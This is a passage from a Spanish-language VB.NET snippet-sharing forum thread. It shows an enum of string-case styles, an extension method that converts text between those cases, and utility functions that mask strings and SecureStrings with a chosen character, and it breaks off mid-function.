  93.        ''' Toggle-case.
  94.        ''' <para></para>
  95.        '''
  96.        ''' [Example]
  97.        ''' <para></para>
  98.        ''' Input : abc def ghi
  99.        ''' <para></para>
  100.        ''' Output: aBC dEF gHI
  101.        ''' </summary>
  102.        ToggleCase = StringCase.ToggleCase
  103.  
  104.        ''' <summary>
  105.        ''' Alternates any lower-case character to upper-case and vice versa.
  106.        ''' <para></para>
  107.        '''
  108.        ''' [Example]
  109.        ''' <para></para>
  110.        ''' Input : Hello World!
  111.        ''' <para></para>
  112.        ''' Output: hELLO wORLD!
  113.        ''' </summary>
  114.        AlternateChars = StringCase.AlternateChars
  115.  
  116.    End Enum
  117.  
  118. End Namespace
  119.  
  120. #End Region
  121.  

StringCase.vb
Código
  1. ' ***********************************************************************
  2. ' Author   : ElektroStudios
  3. ' Modified : 26-October-2015
  4. ' ***********************************************************************
  5.  
  6. #Region " Option Statements "
  7.  
  8. Option Strict On
  9. Option Explicit On
  10. Option Infer Off
  11.  
  12. #End Region
  13.  
  14. #Region " String Case "
  15.  
  16. ' ReSharper disable once CheckNamespace
  17.  
  18. Namespace DevCase.Core.DataProcessing.Common
  19.  
  20.    ''' ----------------------------------------------------------------------------------------------------
  21.    ''' <summary>
  22.    ''' Specifies a string case.
  23.    ''' </summary>
  24.    ''' ----------------------------------------------------------------------------------------------------
  25.    Public Enum StringCase As Integer
  26.  
  27.        ''' <summary>
  28.        ''' LowerCase
  29.        ''' <para></para>
  30.        '''
  31.        ''' [Example]
  32.        ''' <para></para>
  33.        ''' Input : ABCDEF
  34.        ''' <para></para>
  35.        ''' Output: abcdef
  36.        ''' </summary>
  37.        LowerCase = &H0
  38.  
  39.        ''' <summary>
  40.        ''' UpperCase.
  41.        ''' <para></para>
  42.        '''
  43.        ''' [Example]
  44.        ''' <para></para>
  45.        ''' Input : abcdef
  46.        ''' <para></para>
  47.        ''' Output: ABCDEF
  48.        ''' </summary>
  49.        UpperCase = &H1
  50.  
  51.        ''' <summary>
  52.        ''' TitleCase.
  53.        ''' <para></para>
  54.        '''
  55.        ''' [Example]
  56.        ''' <para></para>
  57.        ''' Input : abcdef
  58.        ''' <para></para>
  59.        ''' Output: Abcdef
  60.        ''' </summary>
  61.        TitleCase = &H2
  62.  
  63.        ''' <summary>
  64.        ''' WordCase.
  65.        ''' <para></para>
  66.        '''
  67.        ''' [Example]
  68.        ''' <para></para>
  69.        ''' Input : abc def
  70.        ''' <para></para>
  71.        ''' Output: Abc Def
  72.        ''' </summary>
  73.        WordCase = &H3
  74.  
  75.        ''' <summary>
  76.        ''' CamelCase (With first letter to LowerCase).
  77.        ''' <para></para>
  78.        '''
  79.        ''' [Example]
  80.        ''' <para></para>
  81.        ''' Input : ABC DEF
  82.        ''' <para></para>
  83.        ''' Output: abcDef
  84.        ''' </summary>
  85.        CamelCaseLower = &H4
  86.  
  87.        ''' <summary>
  88.        ''' CamelCase (With first letter to UpperCase).
  89.        ''' <para></para>
  90.        '''
  91.        ''' [Example]
  92.        ''' <para></para>
  93.        ''' Input : ABC DEF
  94.        ''' <para></para>
  95.        ''' Output: AbcDef
  96.        ''' </summary>
  97.        CamelCaseUpper = &H5
  98.  
  99.        ''' <summary>
  100.        ''' MixedCase (With first letter to LowerCase).
  101.        ''' <para></para>
  102.        '''
  103.        ''' [Example]
  104.        ''' <para></para>
  105.        ''' Input : ab cd ef
  106.        ''' <para></para>
  107.        ''' Output: aB Cd eF
  108.        ''' </summary>
  109.        MixedTitleCaseLower = &H6
  110.  
  111.        ''' <summary>
  112.        ''' MixedCase (With first letter to UpperCase).
  113.        ''' <para></para>
  114.        '''
  115.        ''' [Example]
  116.        ''' <para></para>
  117.        ''' Input : ab cd ef
  118.        ''' <para></para>
  119.        ''' Output: Ab cD Ef
  120.        ''' </summary>
  121.        MixedTitleCaseUpper = &H7
  122.  
  123.        ''' <summary>
  124.        ''' MixedCase (With first letter of each word to LowerCase).
  125.        ''' <para></para>
  126.        '''
  127.        ''' [Example]
  128.        ''' <para></para>
  129.        ''' Input : ab cd ef
  130.        ''' <para></para>
  131.        ''' Output: aB cD eF
  132.        ''' </summary>
  133.        MixedWordCaseLower = &H8
  134.  
  135.        ''' <summary>
  136.        ''' MixedCase (With first letter of each word to UpperCase).
  137.        ''' <para></para>
  138.        '''
  139.        ''' [Example]
  140.        ''' <para></para>
  141.        ''' Input : ab cd ef
  142.        ''' <para></para>
  143.        ''' Output: Ab Cd Ef
  144.        ''' </summary>
  145.        MixedWordCaseUpper = &H9
  146.  
  147.        ''' <summary>
  148.        ''' ToggleCase.
  149.        ''' <para></para>
  150.        '''
  151.        ''' [Example]
  152.        ''' <para></para>
  153.        ''' Input : abc def ghi
  154.        ''' <para></para>
  155.        ''' Output: aBC dEF gHI
  156.        ''' </summary>
  157.        ToggleCase = &H10
  158.  
  159.        ''' <summary>
  160.        ''' Duplicates the characters.
  161.        ''' <para></para>
  162.        '''
  163.        ''' [Example]
  164.        ''' <para></para>
  165.        ''' Input : Hello World!
  166.        ''' <para></para>
  167.        ''' Output: HHeelllloo  WWoorrlldd!!
  168.        ''' </summary>
  169.        DuplicateChars = &H11
  170.  
  171.        ''' <summary>
  172.        ''' Alternates the characters.
  173.        ''' <para></para>
  174.        '''
  175.        ''' [Example]
  176.        ''' <para></para>
  177.        ''' Input : Hello World!
  178.        ''' <para></para>
  179.        ''' Output: hELLO wORLD!
  180.        ''' </summary>
  181.        AlternateChars = &H12
  182.  
  183.    End Enum
  184.  
  185. End Namespace
  186.  
  187. #End Region
  188.  



StringExtensions.vb
Código
  1. ' ***********************************************************************
  2. ' Author   : ElektroStudios
  3. ' Modified : 13-July-2023
  4. ' ***********************************************************************
  5.  
  6. #Region " Public Members Summary "
  7.  
  8. ' String.Rename(StringCase) As String
  9.  
  10. #End Region
  11.  
  12. #Region " Option Statements "
  13.  
  14. Option Strict On
  15. Option Explicit On
  16. Option Infer Off
  17.  
  18. #End Region
  19.  
  20. #Region " Imports "
  21.  
  22. Imports System.ComponentModel
  23. Imports System.Globalization
  24. Imports System.Runtime.CompilerServices
  25.  
  26. Imports DevCase.Core.DataProcessing.Common
  27.  
  28. #End Region
  29.  
  30. #Region " String Extensions "
  31.  
  32. ' ReSharper disable once CheckNamespace
  33.  
  34. Namespace DevCase.Extensions.StringExtensions
  35.  
  36.    ''' ----------------------------------------------------------------------------------------------------
  37.    ''' <summary>
  38.    ''' Contains custom extension methods to use with a <see cref="String"/> type.
  39.    ''' </summary>
  40.    ''' ----------------------------------------------------------------------------------------------------
  41.    <HideModuleName>
  42.    Public Module StringExtensions
  43.  
  44. #Region " Public Extension Methods "
  45.  
  46.        ''' ----------------------------------------------------------------------------------------------------
  47.        ''' <summary>
  48.        ''' Renames a string to the specified StringCase.
  49.        ''' </summary>
  50.        ''' ----------------------------------------------------------------------------------------------------
  51.        ''' <example> This is a code example.
  52.        ''' <code language="VB.NET">
  53.        ''' Dim str As String = "Hello World".Rename(StringCase.UpperCase)
  54.        '''
  55.        ''' MessageBox.Show(str)
  56.        ''' </code>
  57.        ''' </example>
  58.        ''' ----------------------------------------------------------------------------------------------------
  59.        ''' <param name="sender">
  60.        ''' The source <see cref="String"/>.
  61.        ''' </param>
  62.        '''
  63.        ''' <param name="stringCase">
  64.        ''' The <see cref="StringCase"/>.
  65.        ''' </param>
  66.        ''' ----------------------------------------------------------------------------------------------------
  67.        ''' <returns>
  68.        ''' The renamed string.
  69.        ''' </returns>
  70.        ''' ----------------------------------------------------------------------------------------------------
  71.        <DebuggerStepThrough>
  72.        <Extension>
  73.        <EditorBrowsable(EditorBrowsableState.Always)>
  74.        Public Function Rename(sender As String,
  75.                               stringCase As StringCase) As String
  76.  
  77.            Select Case stringCase
  78.  
  79.                Case StringCase.LowerCase
  80.                    Return sender.ToLower
  81.  
  82.                Case StringCase.UpperCase
  83.                    Return sender.ToUpper
  84.  
  85.                Case StringCase.TitleCase
  86.                    Return $"{Char.ToUpper(sender.First())}{sender.Remove(0, 1).ToLower()}"
  87.  
  88.                Case StringCase.WordCase
  89.                    Return CultureInfo.InvariantCulture.TextInfo.ToTitleCase(sender.ToLower())
  90.  
  91.                Case StringCase.CamelCaseLower
  92.                    Return _
  93.                        $"{Char.ToLower(sender.First())}{ _
  94.                            CultureInfo.InvariantCulture.TextInfo.ToTitleCase(sender.ToLower()).
  95.                                Replace(" "c, String.Empty).
  96.                                Remove(0, 1)}"
  97.  
  98.                Case StringCase.CamelCaseUpper
  99.                    Return _
  100.                        $"{Char.ToUpper(sender.First())}{ _
  101.                            CultureInfo.InvariantCulture.TextInfo.ToTitleCase(sender.ToLower()).
  102.                                Replace(" "c, String.Empty).
  103.                                Remove(0, 1)}"
  104.  
  105.                Case StringCase.MixedTitleCaseLower
  106.                    Dim sb As New Global.System.Text.StringBuilder
  107.                    For i As Integer = 0 To sender.Length - 1 Step 2
  108.                        If Not (i + 1) >= sender.Length Then
  109.                            sb.AppendFormat("{0}{1}", Char.ToLower(sender(i)), Char.ToUpper(sender(i + 1)))
  110.                        Else
  111.                            sb.Append(Char.ToLower(sender(i)))
  112.                        End If
  113.                    Next i
  114.                    Return sb.ToString()
  115.  
  116.                Case StringCase.MixedTitleCaseUpper
  117.                    Dim sb As New Global.System.Text.StringBuilder
  118.                    For i As Integer = 0 To sender.Length - 1 Step 2
  119.                        If Not (i + 1) >= sender.Length Then
  120.                            sb.AppendFormat("{0}{1}", Char.ToUpper(sender(i)), Char.ToLower(sender(i + 1)))
  121.                        Else
  122.                            sb.Append(Char.ToUpper(sender(i)))
  123.                        End If
  124.                    Next i
  125.                    Return sb.ToString()
  126.  
  127.                Case StringCase.MixedWordCaseLower
  128.                    Dim sb As New Global.System.Text.StringBuilder
  129.                    For Each word As String In sender.Split
  130.                        sb.AppendFormat("{0} ", Rename(word, StringCase.MixedTitleCaseLower))
  131.                    Next word
  132.                    Return sb.ToString()
  133.  
  134.                Case StringCase.MixedWordCaseUpper
  135.                    Dim sb As New Global.System.Text.StringBuilder
  136.                    For Each word As String In sender.Split
  137.                        sb.AppendFormat("{0} ", Rename(word, StringCase.MixedTitleCaseUpper))
  138.                    Next word
  139.                    Return sb.ToString()
  140.  
  141.                Case StringCase.ToggleCase
  142.                    Dim sb As New Global.System.Text.StringBuilder
  143.                    For Each word As String In sender.Split
  144.                        sb.AppendFormat("{0}{1} ", Char.ToLower(word.First()), word.Remove(0, 1).ToUpper)
  145.                    Next word
  146.                    Return sb.ToString()
  147.  
  148.                Case StringCase.DuplicateChars
  149.                    Dim sb As New Global.System.Text.StringBuilder
  150.                    For Each c As Char In sender
  151.                        sb.Append(New String(c, 2))
  152.                    Next c
  153.                    Return sb.ToString()
  154.  
  155.                Case StringCase.AlternateChars
  156.                    Dim sb As New Global.System.Text.StringBuilder
  157.                    For Each c As Char In sender
  158.                        Select Case Char.IsLower(c)
  159.                            Case True
  160.                                sb.Append(Char.ToUpper(c))
  161.                            Case Else
  162.                                sb.Append(Char.ToLower(c))
  163.                        End Select
  164.                    Next c
  165.                    Return sb.ToString()
  166.  
  167.                Case Else
  168.                    Return sender
  169.  
  170.            End Select
  171.  
  172.        End Function
  173.  
  174. #End Region
  175.  
  176.    End Module
  177.  
  178. End Namespace
  179.  
  180. #End Region
  181.  


Título: Re: Librería de Snippets para VB.NET !! (Compartan aquí sus snippets)
Publicado por: Elektro Enjuto en 10 Septiembre 2023, 08:02 am
Aquí les dejo varias funciones para enmascarar un String.

Este código permite enmascarar de izquierda a derecha o de derecha a izquierda, todo el string o de forma parcial especificando la longitud de máscara, y el símbolo de máscara es personalizable. Además, permite especificar caracteres que se deban ignorar / no deban ser enmascarados.

Por ejemplo, si tenemos el string "PASSWORD", podemos enmascararlo completamente:
Código:
********

O parcialmente de izquierda a derecha:
Código:
****WORD

O parcialmente de derecha a izquierda:
Código:
PASS****

O de forma selectiva podemos crear una máscara completa o parial, e ignorar las letras "S" y "W" de la máscara:
Código:
**SSW***



Código
  1. ' ***********************************************************************
  2. ' Author   : ElektroStudios
  3. ' Modified : 12-July-2023
  4. ' ***********************************************************************
  5.  
  6. #Region " Public Members Summary "
  7.  
  8. #Region " Functions "
  9.  
  10. ' MaskString(String, Opt: Char) As String
  11. ' MaskString(String, Char(), Opt: Char) As String
  12. ' MaskString(String, Integer, Boolean, Opt: Char) As String
  13. ' MaskString(String, Integer, Boolean, Char(), Opt: Char) As String
  14.  
  15. #End Region
  16.  
  17. #End Region
  18.  
  19. #Region " Option Statements "
  20.  
  21. Option Strict On
  22. Option Explicit On
  23. Option Infer Off
  24.  
  25. #End Region
  26.  
  27. #Region " Imports "
  28.  
  29. Imports System.Text
  30. Imports System.Security
  31. Imports System.ComponentModel
  32. Imports System.Runtime.InteropServices
  33. Imports System.Collections.Generic
  34. Imports System.Linq
  35.  
  36. #End Region
  37.  
  38. #Region " UtilPasswords "
  39.  
  40. ' ReSharper disable once CheckNamespace
  41.  
  42. Namespace DevCase.Core.Security.Passwords
  43.  
  44.    Public NotInheritable Class UtilPasswords
  45.  
  46. #Region " Public Methods "
  47.  
  48.        ''' ----------------------------------------------------------------------------------------------------
  49.        ''' <summary>
  50.        ''' Masks the source string with a specific character.
  51.        ''' </summary>
  52.        ''' ----------------------------------------------------------------------------------------------------
  53.        ''' <example> This is a code example.
  54.        ''' <code language="VB.NET">
  55.        ''' Dim password As String = "This is a password"
  56.        ''' Dim maskChar As Char = "*"c
  57.        ''' Dim masked As String = MaskString(password, maskChar)
  58.        ''' Console.WriteLine(masked)
  59.        ''' </code>
  60.        ''' </example>
  61.        ''' ----------------------------------------------------------------------------------------------------
  62.        ''' <param name="input">
  63.        ''' The string to mask.
  64.        ''' </param>
  65.        '''
  66.        ''' <param name="maskCharacter">
  67.        ''' Optional. The character used for masking (default: "*").
  68.        ''' </param>
  69.        ''' ----------------------------------------------------------------------------------------------------
  70.        ''' <returns>
  71.        ''' The masked string.
  72.        ''' </returns>
  73.        ''' ----------------------------------------------------------------------------------------------------
  74.        <DebuggerStepperBoundary>
  75.        Public Shared Function MaskString(input As String, Optional maskCharacter As Char = "*"c) As String
  76.  
  77.            Return MaskString(input, maskLength:=input.Length, leftToRight:=True, allowedChars:=Nothing, maskCharacter)
  78.  
  79.        End Function
  80.  
  81.        ''' ----------------------------------------------------------------------------------------------------
  82.        ''' <summary>
  83.        ''' Masks the source string with a specific character,
  84.        ''' allowing certain characters to remain unmasked.
  85.        ''' </summary>
  86.        ''' ----------------------------------------------------------------------------------------------------
  87.        ''' <example> This is a code example.
  88.        ''' <code language="VB.NET">
  89.        ''' Dim serialKey As String = "123-456-789"
  90.        ''' Dim allowedChars As Char() = "-".ToCharArray()
  91.        ''' Dim maskChar As Char = "*"c
  92.        '''
  93.        ''' Dim masked As String = MaskString(serialKey, allowedChars, maskChar)
  94.        ''' Console.WriteLine(masked)
  95.        ''' </code>
  96.        ''' </example>
  97.        ''' ----------------------------------------------------------------------------------------------------
  98.        ''' <param name="input">
  99.        ''' The string to mask.
  100.        ''' </param>
  101.        '''
  102.        ''' <param name="allowedChars">
  103.        ''' An array of characters that are allowed to remain unmasked.
  104.        ''' </param>
  105.        '''
  106.        ''' <param name="maskCharacter">
  107.        ''' The character used for masking (default: "*").
  108.        ''' </param>
  109.        ''' ----------------------------------------------------------------------------------------------------
  110.        ''' <returns>
  111.        ''' The masked string.
  112.        ''' </returns>
  113.        ''' ----------------------------------------------------------------------------------------------------
  114.        <DebuggerStepperBoundary>
  115.        Public Shared Function MaskString(input As String, allowedChars As Char(), Optional maskCharacter As Char = "*"c) As String
  116.  
  117.            Return MaskString(input, maskLength:=input.Length, leftToRight:=True, allowedChars:=allowedChars, maskCharacter)
  118.  
  119.        End Function
  120.  
  121.        ''' ----------------------------------------------------------------------------------------------------
  122.        ''' <summary>
  123.        ''' Partially masks the source string with a specific character.
  124.        ''' </summary>
  125.        ''' ----------------------------------------------------------------------------------------------------
  126.        ''' <example> This is a code example.
  127.        ''' <code language="VB.NET">
  128.        ''' Dim serialKey As String = "123-456-789"
  129.        ''' Dim maskLength As Integer = 7
  130.        ''' Dim leftToRight As Boolean = True
  131.        ''' Dim maskChar As Char = "*"c
  132.        '''
  133.        ''' Dim masked As String = MaskString(serialKey, maskLength, leftToRight, maskChar)
  134.        ''' Console.WriteLine(masked)
  135.        ''' </code>
  136.        ''' </example>
  137.        ''' ----------------------------------------------------------------------------------------------------
  138.        ''' <param name="input">
  139.        ''' The string to mask.
  140.        ''' </param>
  141.        '''
  142.        ''' <param name="maskLength">
  143.        ''' The length of the mask.
  144.        ''' </param>
  145.        '''
  146.        ''' <param name="leftToRight">
  147.        ''' Indicates the direction of the mask (left to right or right to left).
  148.        ''' </param>
  149.        '''
  150.        ''' <param name="maskCharacter">
  151.        ''' The character used for masking (default: "*").
  152.        ''' </param>
  153.        ''' ----------------------------------------------------------------------------------------------------
  154.        ''' <returns>
  155.        ''' The masked string.
  156.        ''' </returns>
  157.        ''' ----------------------------------------------------------------------------------------------------
  158.        <DebuggerStepperBoundary>
  159.        Public Shared Function MaskString(input As String, maskLength As Integer, leftToRight As Boolean, Optional maskCharacter As Char = "*"c) As String
  160.  
  161.            Return MaskString(input, maskLength:=maskLength, leftToRight:=leftToRight, allowedChars:=Nothing, maskCharacter)
  162.  
  163.        End Function
  164.  
  165.        ''' ----------------------------------------------------------------------------------------------------
  166.        ''' <summary>
  167.        ''' Partially masks the source string with a specific character,
  168.        ''' allowing certain characters to remain unmasked.
  169.        ''' </summary>
  170.        ''' ----------------------------------------------------------------------------------------------------
  171.        ''' <example> This is a code example.
  172.        ''' <code language="VB.NET">
  173.        ''' Dim serialKey As String = "123-456-789"
  174.        ''' Dim maskLength As Integer = 7
  175.        ''' Dim leftToRight As Boolean = True
  176.        ''' Dim allowedChars As Char() = "-".ToCharArray()
  177.        ''' Dim maskChar As Char = "*"c
  178.        '''
  179.        ''' Dim masked As String = MaskString(serialKey, maskLength, leftToRight, allowedChars, maskChar)
  180.        ''' Console.WriteLine(masked)
  181.        ''' </code>
  182.        ''' </example>
  183.        ''' ----------------------------------------------------------------------------------------------------
  184.        ''' <param name="input">
  185.        ''' The string to mask.
  186.        ''' </param>
  187.        '''
  188.        ''' <param name="maskLength">
  189.        ''' The length of the mask.
  190.        ''' </param>
  191.        '''
  192.        ''' <param name="leftToRight">
  193.        ''' Indicates the direction of the mask (left to right or right to left).
  194.        ''' </param>
  195.        '''
  196.        ''' <param name="allowedChars">
  197.        ''' An array of characters that are allowed to remain unmasked.
  198.        ''' </param>
  199.        '''
  200.        ''' <param name="maskCharacter">
  201.        ''' The character used for masking (default: "*").
  202.        ''' </param>
  203.        ''' ----------------------------------------------------------------------------------------------------
  204.        ''' <returns>
  205.        ''' The masked string.
  206.        ''' </returns>
  207.        ''' ----------------------------------------------------------------------------------------------------
  208.        <DebuggerStepperBoundary>
  209.        Public Shared Function MaskString(input As String, maskLength As Integer, leftToRight As Boolean, allowedChars As Char(), Optional maskCharacter As Char = "*"c) As String
  210.  
  211.            If String.IsNullOrEmpty(input) Then
  212.                Throw New ArgumentNullException(paramName:=NameOf(input))
  213.            End If
  214.  
  215.            If String.IsNullOrEmpty(maskCharacter) Then
  216.                Throw New ArgumentNullException(paramName:=NameOf(maskCharacter))
  217.            End If
  218.  
  219.            If maskLength <= 0 Then
  220.                Throw New ArgumentException($"maskLength must be greather than zero.", paramName:=NameOf(maskLength))
  221.            End If
  222.  
  223.            Dim valueLength As Integer = input.Length
  224.            If maskLength > valueLength Then
  225.                Throw New ArgumentException($"maskLength can't be greather than the source string length.", paramName:=NameOf(maskLength))
  226.            End If
  227.  
  228.            Dim allowedCharIndices As IDictionary(Of Integer, Char) = Nothing
  229.            If allowedChars IsNot Nothing AndAlso allowedChars.Length > 0 Then
  230.                allowedCharIndices = New Dictionary(Of Integer, Char)
  231.                Dim startPos As Integer
  232.                Dim endPos As Integer
  233.  
  234.                If maskLength = valueLength Then ' Full mask.
  235.                    startPos = 0
  236.                    endPos = valueLength - 1
  237.                Else
  238.                    If leftToRight Then ' Left to right mask.
  239.                        startPos = 0
  240.                        endPos = maskLength - 1
  241.                    Else ' Right to left mask.
  242.                        startPos = valueLength - maskLength
  243.                        endPos = valueLength - 1
  244.                    End If
  245.                End If
  246.  
  247.                For i As Integer = startPos To endPos
  248.                    Dim c As Char = input(i)
  249.                    If allowedChars.Contains(c) Then
  250.                        allowedCharIndices.Add(i, c)
  251.                    End If
  252.                Next
  253.            End If
  254.  
  255.            Dim sb As New StringBuilder(valueLength, valueLength)
  256.            If maskLength = valueLength Then ' Full mask.
  257.                sb.Append(maskCharacter, maskLength)
  258.            Else
  259.                If leftToRight Then ' Left to right mask.
  260.                    sb.Append(maskCharacter, maskLength)
  261.                    sb.Append(input.Substring(maskLength))
  262.                Else ' Right to left mask.
  263.                    sb.Append(input.Substring(0, valueLength - maskLength))
  264.                    sb.Append(maskCharacter, maskLength)
  265.                End If
  266.            End If
  267.  
  268.            If allowedCharIndices IsNot Nothing Then
  269.                For Each pair As KeyValuePair(Of Integer, Char) In allowedCharIndices
  270.                    sb.Chars(pair.Key) = pair.Value
  271.                Next
  272.            End If
  273.  
  274.            Return sb.ToString()
  275.        End Function
  276.  


Título: Re: Librería de Snippets para VB.NET !! (Compartan aquí sus snippets)
Publicado por: Elektro Enjuto en 10 Septiembre 2023, 08:08 am
Lo mismo de antes pero para un objeto de tipo SecureString:

Código
  1. ' ***********************************************************************
  2. ' Author   : ElektroStudios
  3. ' Modified : 12-July-2023
  4. ' ***********************************************************************
  5.  
  6. #Region " Public Members Summary "
  7.  
  8. #Region " Functions "
  9.  
  10. ' MaskSecureString(String, Opt: Char) As SecureString
  11. ' MaskSecureString(String, Char(), Opt: Char) As SecureString
  12. ' MaskSecureString(String, Integer, Boolean, Opt: Char) As SecureString
  13. ' MaskSecureString(String, Integer, Boolean, Char(), Opt: Char) As SecureString
  14.  
  15. ' MaskSecureString(SecureString, Opt: Char) As SecureString
  16. ' MaskSecureString(SecureString, Char(), Opt: Char) As SecureString
  17. ' MaskSecureString(SecureString, Integer, Boolean, Opt: Char) As SecureString
  18. ' MaskSecureString(SecureString, Integer, Boolean, Char(), Opt: Char) As SecureString
  19.  
  20. #End Region
  21.  
  22. #End Region
  23.  
  24. #Region " Option Statements "
  25.  
  26. Option Strict On
  27. Option Explicit On
  28. Option Infer Off
  29.  
  30. #End Region
  31.  
  32. #Region " Imports "
  33.  
  34. Imports System.Text
  35. Imports System.Security
  36. Imports System.ComponentModel
  37. Imports System.Runtime.InteropServices
  38. Imports System.Collections.Generic
  39. Imports System.Linq
  40.  
  41. #End Region
  42.  
  43. #Region " UtilPasswords "
  44.  
  45. ' ReSharper disable once CheckNamespace
  46.  
  47. Namespace DevCase.Core.Security.Passwords
  48.  
  49.    Public NotInheritable Class UtilPasswords
  50.  
  51. #Region " Public Methods "
  52.  
  53.        ''' ----------------------------------------------------------------------------------------------------
  54.        ''' <summary>
  55.        ''' Masks the source string with a specific character.
  56.        ''' </summary>
  57.        ''' ----------------------------------------------------------------------------------------------------
  58.        ''' <example> This is a code example.
  59.        ''' <code language="VB.NET">
  60.        ''' Dim password As String = "This is a password"
  61.        ''' Dim maskChar As Char = "*"c
  62.        '''
  63.        ''' Dim masked As SecureString = MaskSecureString(password, maskChar)
  64.        ''' </code>
  65.        ''' </example>
  66.        ''' ----------------------------------------------------------------------------------------------------
  67.        ''' <param name="input">
  68.        ''' The string to mask.
  69.        ''' </param>
  70.        '''
  71.        ''' <param name="maskCharacter">
  72.        ''' Optional. The character used for masking (default: "*").
  73.        ''' </param>
  74.        ''' ----------------------------------------------------------------------------------------------------
  75.        ''' <returns>
  76.        ''' The masked string.
  77.        ''' </returns>
  78.        ''' ----------------------------------------------------------------------------------------------------
  79.        <DebuggerStepperBoundary>
  80.        Public Shared Function MaskSecureString(input As String, Optional maskCharacter As Char = "*"c) As SecureString
  81.  
  82.            Return MaskSecureString(input, maskLength:=input.Length, leftToRight:=True, allowedChars:=Nothing, maskCharacter)
  83.  
  84.        End Function
  85.  
  86.        ''' ----------------------------------------------------------------------------------------------------
  87.        ''' <summary>
  88.        ''' Masks the source string with a specific character,
  89.        ''' allowing certain characters to remain unmasked.
  90.        ''' </summary>
  91.        ''' ----------------------------------------------------------------------------------------------------
  92.        ''' <example> This is a code example.
  93.        ''' <code language="VB.NET">
  94.        ''' Dim serialKey As String = "123-456-789"
  95.        ''' Dim allowedChars As Char() = "-".ToCharArray()
  96.        ''' Dim maskChar As Char = "*"c
  97.        '''
  98.        ''' Dim masked As SecureString = MaskSecureString(serialKey, allowedChars, maskChar)
  99.        ''' </code>
  100.        ''' </example>
  101.        ''' ----------------------------------------------------------------------------------------------------
  102.        ''' <param name="input">
  103.        ''' The string to mask.
  104.        ''' </param>
  105.        '''
  106.        ''' <param name="allowedChars">
  107.        ''' An array of characters that are allowed to remain unmasked.
  108.        ''' </param>
  109.        '''
  110.        ''' <param name="maskCharacter">
  111.        ''' The character used for masking (default: "*").
  112.        ''' </param>
  113.        ''' ----------------------------------------------------------------------------------------------------
  114.        ''' <returns>
  115.        ''' The masked string.
  116.        ''' </returns>
  117.        ''' ----------------------------------------------------------------------------------------------------
  118.        <DebuggerStepperBoundary>
  119.        Public Shared Function MaskSecureString(input As String, allowedChars As Char(), Optional maskCharacter As Char = "*"c) As SecureString
  120.  
  121.            Return MaskSecureString(input, maskLength:=input.Length, leftToRight:=True, allowedChars:=allowedChars, maskCharacter)
  122.  
  123.        End Function
  124.  
  125.        ''' ----------------------------------------------------------------------------------------------------
  126.        ''' <summary>
  127.        ''' Partially masks the source string with a specific character.
  128.        ''' </summary>
  129.        ''' ----------------------------------------------------------------------------------------------------
  130.        ''' <example> This is a code example.
  131.        ''' <code language="VB.NET">
  132.        ''' Dim serialKey As String = "123-456-789"
  133.        ''' Dim maskLength As Integer = 7
  134.        ''' Dim leftToRight As Boolean = True
  135.        ''' Dim maskChar As Char = "*"c
  136.        '''
  137.        ''' Dim masked As SecureString = MaskSecureString(serialKey, maskLength, leftToRight, maskChar)
  138.        ''' </code>
  139.        ''' </example>
  140.        ''' ----------------------------------------------------------------------------------------------------
  141.        ''' <param name="input">
  142.        ''' The string to mask.
  143.        ''' </param>
  144.        '''
  145.        ''' <param name="maskLength">
  146.        ''' The length of the mask.
  147.        ''' </param>
  148.        '''
  149.        ''' <param name="leftToRight">
  150.        ''' Indicates the direction of the mask (left to right or right to left).
  151.        ''' </param>
  152.        '''
  153.        ''' <param name="maskCharacter">
  154.        ''' The character used for masking (default: "*").
  155.        ''' </param>
  156.        ''' ----------------------------------------------------------------------------------------------------
  157.        ''' <returns>
  158.        ''' The masked string.
  159.        ''' </returns>
  160.        ''' ----------------------------------------------------------------------------------------------------
  161.        <DebuggerStepperBoundary>
  162.        Public Shared Function MaskSecureString(input As String, maskLength As Integer, leftToRight As Boolean, Optional maskCharacter As Char = "*"c) As SecureString
  163.  
  164.            Return MaskSecureString(input, maskLength:=maskLength, leftToRight:=leftToRight, allowedChars:=Nothing, maskCharacter)
  165.  
  166.        End Function
  167.  
  168.        ''' ----------------------------------------------------------------------------------------------------
  169.        ''' <summary>
  170.        ''' Partially masks the source string with a specific character,
  171.        ''' allowing certain characters to remain unmasked.
  172.        ''' </summary>
  173.        ''' ----------------------------------------------------------------------------------------------------
  174.        ''' <example> This is a code example.
  175.        ''' <code language="VB.NET">
  176.        ''' Dim serialKey As String = "123-456-789"
  177.        ''' Dim maskLength As Integer = 7
  178.        ''' Dim leftToRight As Boolean = True
  179.        ''' Dim allowedChars As Char() = "-".ToCharArray()
  180.        ''' Dim maskChar As Char = "*"c
  181.        '''
  182.        ''' Dim masked As SecureString = MaskSecureString(serialKey, maskLength, leftToRight, allowedChars, maskChar)
  183.        ''' </code>
  184.        ''' </example>
  185.        ''' ----------------------------------------------------------------------------------------------------
  186.        ''' <param name="input">
  187.        ''' The string to mask.
  188.        ''' </param>
  189.        '''
  190.        ''' <param name="maskLength">
  191.        ''' The length of the mask.
  192.        ''' </param>
  193.        '''
  194.        ''' <param name="leftToRight">
  195.        ''' Indicates the direction of the mask (left to right or right to left).
  196.        ''' </param>
  197.        '''
  198.        ''' <param name="allowedChars">
  199.        ''' An array of characters that are allowed to remain unmasked.
  200.        ''' </param>
  201.        '''
  202.        ''' <param name="maskCharacter">
  203.        ''' The character used for masking (default: "*").
  204.        ''' </param>
  205.        ''' ----------------------------------------------------------------------------------------------------
  206.        ''' <returns>
  207.        ''' The masked string.
  208.        ''' </returns>
  209.        ''' ----------------------------------------------------------------------------------------------------
  210.        <DebuggerStepperBoundary>
  211.        Public Shared Function MaskSecureString(input As String, maskLength As Integer, leftToRight As Boolean, allowedChars As Char(), Optional maskCharacter As Char = "*"c) As SecureString
  212.  
  213.            If String.IsNullOrEmpty(input) Then
  214.                Throw New ArgumentNullException(paramName:=NameOf(input))
  215.            End If
  216.  
  217.            If String.IsNullOrEmpty(maskCharacter) Then
  218.                Throw New ArgumentNullException(paramName:=NameOf(maskCharacter))
  219.            End If
  220.  
  221.            If maskLength <= 0 Then
  222.                Throw New ArgumentException($"maskLength must be greather than zero.", paramName:=NameOf(maskLength))
  223.            End If
  224.  
  225.            Dim valueLength As Integer = input.Length
  226.            If maskLength > valueLength Then
  227.                Throw New ArgumentException($"maskLength can't be greather than the source string length.", paramName:=NameOf(maskLength))
  228.            End If
  229.  
  230.            Dim allowedCharIndices As IDictionary(Of Integer, Char) = Nothing
  231.            If allowedChars IsNot Nothing AndAlso allowedChars.Length > 0 Then
  232.                allowedCharIndices = New Dictionary(Of Integer, Char)
  233.                Dim startPos As Integer
  234.                Dim endPos As Integer
  235.  
